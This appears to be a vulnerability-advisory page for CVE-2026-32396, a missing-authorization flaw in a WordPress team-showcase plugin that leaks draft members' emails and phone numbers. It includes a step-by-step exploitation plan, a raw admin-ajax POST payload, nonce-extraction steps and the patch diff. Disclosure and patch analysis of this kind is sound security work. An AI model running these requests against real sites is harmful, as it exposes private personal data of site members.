CVE-2026-32396

Team <= 5.0.13 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
5.0.14
Patched in
55d
Time to patch

Description

The Team plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 5.0.13. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.13
PublishedFebruary 20, 2026
Last updatedApril 15, 2026
Affected plugintlp-team

What Changed in the Fix

Changes introduced in v5.0.14

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary The **Team – Team Members Showcase Plugin** (versions <= 5.0.13) contains a **Missing Authorization** vulnerability. The plugin registers several AJAX handlers—including `tlp_md_popup_single`, `tlp_team_smart_popup`, and `rtGetSpecialLayoutData`—using both `wp_ajax_` and `w…

Show full research plan

Vulnerability Summary

The Team – Team Members Showcase Plugin (versions <= 5.0.13) contains a Missing Authorization vulnerability. The plugin registers several AJAX handlers—including tlp_md_popup_single, tlp_team_smart_popup, and rtGetSpecialLayoutData—using both wp_ajax_ and wp_ajax_nopriv_ hooks. While these handlers implement a nonce check, they fail to verify if the requesting user has sufficient capabilities (e.g., current_user_can(...)) to access the data or trigger the action.

Specifically, the SinglePopup controller (app/Controllers/Frontend/Ajax/SinglePopup.php) and the SpecialLayout controller (app/Controllers/Frontend/Ajax/SpecialLayout.php) do not check the post_status of the requested team member, allowing unauthenticated attackers to retrieve sensitive metadata (emails, phone numbers, bios) for members that may be in "draft" or "private" status. Furthermore, the reliance on a common nonce exposed to all users effectively renders the CSRF protection moot for unauthenticated endpoints.

Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Actions:
    • tlp_md_popup_single (via RT\Team\Controllers\Frontend\Ajax\SinglePopup)
    • tlp_team_smart_popup (via RT\Team\Controllers\Frontend\Ajax\SmartPopup)
    • rtGetSpecialLayoutData (via RT\Team\Controllers\Frontend\Ajax\SpecialLayout)
  • HTTP Parameters:
    • action: tlp_md_popup_single or rtGetSpecialLayoutData
    • security: The WordPress nonce (obtained from the frontend).
    • id (for popups) or memberId (for layouts): The ID of the team member post.
    • scID (for layouts): The ID of a Team Shortcode post (post type team-sc).
  • Authentication: None required (unauthenticated).
  • Preconditions: The attacker must obtain a valid nonce, which is automatically localized and exposed on any page where a Team shortcode or widget is active.

Code Flow

  1. Registration: In SinglePopup::init(), the action is registered for both logged-in and guest users:
    add_action( 'wp_ajax_tlp_md_popup_single', [ $this, 'response' ] );
    add_action( 'wp_ajax_nopriv_tlp_md_popup_single', [ $this, 'response' ] );
    
  2. Nonce Verification: The response() method checks a nonce using Fns::getNonce() and Fns::nonceText():
    if ( ! wp_verify_nonce( Fns::getNonce(), Fns::nonceText() ) ) { ... }
    
  3. Missing Auth Check: Immediately following the nonce check, the code proceeds to fetch the post without any current_user_can() check or post_status validation (in SinglePopup):
    if ( isset( $_REQUEST['id'] ) && $post_id = absint( $_REQUEST['id'] ) ) {
        $post = get_post( absint( $_REQUEST['id'] ) );
        if ( $post && $post->post_type == rttlp_team()->post_type ) {
            // Processing metadata for any team post...
        }
    }
    
  4. Information Leakage: Metadata like email, telephone, mobile, ttp_my_resume (Resume URL), and ttp_hire_me (Hire URL) are fetched and returned in the JSON response.

Nonce Acquisition Strategy

The plugin localizes the nonce for its AJAX requests. To obtain it:

  1. Create Content: Create a Team Member and a Page containing the default shortcode to ensure scripts are enqueued.
    • wp post create --post_type=team --post_title="Secret Member" --post_status=draft --post_content="Draft info"
    • wp post create --post_type=page --post_title="Team Page" --post_status=publish --post_content="[tlpteam]"
  2. Navigate: Use browser_navigate to visit the "Team Page".
  3. Extract: Use browser_eval to extract the nonce. Based on common RadiusTheme patterns, the nonce is likely stored in a global JS object like rt_team_vars or tlp_team_vars.
    • Try: browser_eval("tlp_team_vars.nonce") or search the page source for nonce.
    • Alternatively, check for the localized script variable name in the HTML source: grep -i "nonce".

Exploitation Strategy

Step-by-Step Plan

  1. Setup Member: Create a team member with sensitive metadata and set its status to draft.
  2. Setup Shortcode: Create a Team Shortcode (team-sc) to satisfy the scID parameter requirements for layout tests.
  3. Obtain Nonce: Navigate to a page with the shortcode and extract the security token.
  4. Execute Information Disclosure (Single Popup):
    • Call tlp_md_popup_single via http_request.
    • Request the ID of the draft member.
    • Observe the metadata in the response.
  5. Execute Information Disclosure (Special Layout):
    • Call rtGetSpecialLayoutData via http_request.
    • Parameters: action=rtGetSpecialLayoutData, memberId=[ID], security=[NONCE].

HTTP Request Payload (Example)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=tlp_md_popup_single&security=82c41a9e3b&id=123

Test Data Setup

  1. Team Member:
    MEMBER_ID=$(wp post create --post_type=team --post_title="John Doe" --post_status=draft --post_content="Confidential Bio" --format=ids)
    wp post meta update $MEMBER_ID email "john.private@example.com"
    wp post meta update $MEMBER_ID telephone "+1-555-0199"
    
  2. Shortcode (for layout action):
    SC_ID=$(wp post create --post_type=team-sc --post_title="Grid Layout" --post_status=publish --format=ids)
    # Ensure fields are selected in meta so they display
    wp post meta update $SC_ID ttp_selected_field 'a:3:{i:0;s:5:"email";i:1;s:9:"telephone";i:2;s:4:"name";}'
    
  3. Public Page:
    wp post create --post_type=page --post_title="Showcase" --post_status=publish --post_content="[tlpteam id='$SC_ID']"
    

Expected Results

  • The tlp_md_popup_single request should return a JSON object containing the Confidential Bio, john.private@example.com, and +1-555-0199.
  • The success flag in the response should be true (if SmartPopup) or the error flag should be false (if SinglePopup), even though the requester is unauthenticated and the member is a draft.

Verification Steps

  1. Verify Response Content:
    • Check if data field in the JSON response contains the string john.private@example.com.
  2. Check Status Bypass:
    • Run wp post get [MEMBER_ID] --field=post_status to confirm the member is indeed draft.
    • If the AJAX response still returns the member's data, the authorization bypass is confirmed.

Alternative Approaches

Research Findings
Static analysis — not yet PoC-verified

Summary

The Team plugin for WordPress fails to validate the post status of team members in multiple AJAX endpoints, allowing unauthenticated attackers to view sensitive profile data (emails, phone numbers, resumes) for members set to draft or private status.

Vulnerable Code

// app/Controllers/Frontend/Ajax/SinglePopup.php:49
	public function response() {
		$html  = $htmlCInfo = null;
		$error = true;

		if ( ! wp_verify_nonce( Fns::getNonce(), Fns::nonceText() ) ) {
            // ...
		}
		if ( isset( $_REQUEST['id'] ) && $post_id = absint( $_REQUEST['id'] ) ) {
			global $post;
			$post = get_post( absint( $_REQUEST['id'] ) );
			if ( $post && $post->post_type == rttlp_team()->post_type ) {
				$error = false;

---

// app/Controllers/Frontend/Ajax/SpecialLayout.php:53
	public function response() {

		$memberId = ! empty( $_REQUEST['memberId'] ) ? absint( $_REQUEST['memberId'] ) : null;
        // ...
		if ( ! wp_verify_nonce( Fns::getNonce(), Fns::nonceText() ) ) {
            // ...
		}

		if ( $memberId ) {
			$name        = get_the_title( $memberId );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.13/app/Controllers/Frontend/Ajax/SinglePopup.php /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.14/app/Controllers/Frontend/Ajax/SinglePopup.php
--- /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.13/app/Controllers/Frontend/Ajax/SinglePopup.php	2026-01-23 11:15:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.14/app/Controllers/Frontend/Ajax/SinglePopup.php	2026-02-11 07:51:30.000000000 +0000
@@ -49,7 +49,7 @@
 		if ( isset( $_REQUEST['id'] ) && $post_id = absint( $_REQUEST['id'] ) ) {
 			global $post;
 			$post = get_post( absint( $_REQUEST['id'] ) );
-			if ( $post && $post->post_type == rttlp_team()->post_type ) {
+			if ( $post && $post->post_type == rttlp_team()->post_type &&  $post->post_status == 'publish') {
 				$error = false;
 				setup_postdata( $post );
                 $settings     = get_option( rttlp_team()->options['settings'] );
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.13/app/Controllers/Frontend/Ajax/SpecialLayout.php /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.14/app/Controllers/Frontend/Ajax/SpecialLayout.php
--- /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.13/app/Controllers/Frontend/Ajax/SpecialLayout.php	2026-01-23 11:15:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/tlp-team/5.0.14/app/Controllers/Frontend/Ajax/SpecialLayout.php	2026-02-11 07:51:30.000000000 +0000
@@ -50,8 +50,8 @@
 			] );
 
 		}
-
-		if ( $memberId ) {
+		$post = get_post( $memberId );
+		if ( $memberId && $post && $post->post_status == 'publish' ) {
 			$name        = get_the_title( $memberId );
 			$designation = wp_strip_all_tags(
 				get_the_term_list(

Exploit Outline

1. **Nonce Acquisition**: Access any public page on the WordPress site where the Team plugin enqueues its scripts. Extract the nonce from the localized JavaScript variable, typically found in the HTML source as `tlp_team_vars.nonce`. 2. **Target Identification**: Determine the Post ID of a target Team Member post (e.g., through ID enumeration or guessing). 3. **Data Retrieval**: Send an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `tlp_md_popup_single` (or `rtGetSpecialLayoutData`) - `security`: [The extracted nonce] - `id`: [Target Member Post ID] 4. **Sensitive Disclosure**: The server will return a JSON object containing the HTML of the member's profile, including private metadata like email addresses, phone numbers, and full biographies, even if the post status is set to 'draft'.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.